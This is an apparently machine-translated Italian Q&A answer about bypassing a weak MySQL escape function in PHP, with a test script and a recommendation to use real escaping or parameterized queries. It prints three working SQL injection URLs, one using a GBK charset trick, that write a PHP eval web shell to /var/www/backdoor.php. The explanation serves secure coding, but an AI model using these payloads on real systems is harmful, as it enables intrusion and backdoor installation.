Mysql
 sql >> Database >  >> RDS >> Mysql

Trovato una funzione di escape debole per MySql, come sfruttarla?

Se sei solo sostituendo ' con '' quindi potresti sfruttarlo iniettando un \' che si trasformerà in un \'' e questo ti permetterà di scoppiare perché questo ti dà una virgoletta singola "carattere letterale" e una virgoletta singola reale. Tuttavia, la sostituzione di "\\" con "\\\\" nega questo attacco. La doppia virgoletta singola viene utilizzata per "sfuggire" alle virgolette singole per MS-SQL, ma questo non è appropriato per MySQL, ma può funzionare.

I seguenti codici dimostrano che questa funzione di escape è sicura per tutti tranne tre condizioni . Questo codice consente di modificare tutte le possibili variazioni delle carte di controllo e testarle per assicurarsi che non si verifichi un errore con una singola istruzione select racchiusa tra virgolette. Questo codice è stato testato su MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Condizione vulnerabile 1:nessuna virgoletta utilizzata.

mysql_query("select username from users where id=".escape($_GET['id']));

Sfrutta:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Condizione vulnerabile 2:utilizzate le virgolette doppie

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Sfrutta:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Condizione vulnerabile 2:vengono utilizzate virgolette singole, tuttavia un viene utilizzato un set di caratteri alternativo. .

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Sfrutta:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

La conclusione è usare sempre mysql_real_escape_string() come routine di escape per MySQL. Le librerie di query parametrizzate come pdo e adodb usano sempre mysql_real_escape_string() quando connesso a un database mysql. addslashes() è MOLTO MEGLIO di una routine di escape perché si prende cura di una condizione vulnerabile 2. Va notato che nemmeno mysql_real_escape_string() interromperà la condizione 1, tuttavia lo farà una libreria di query parametrizzata.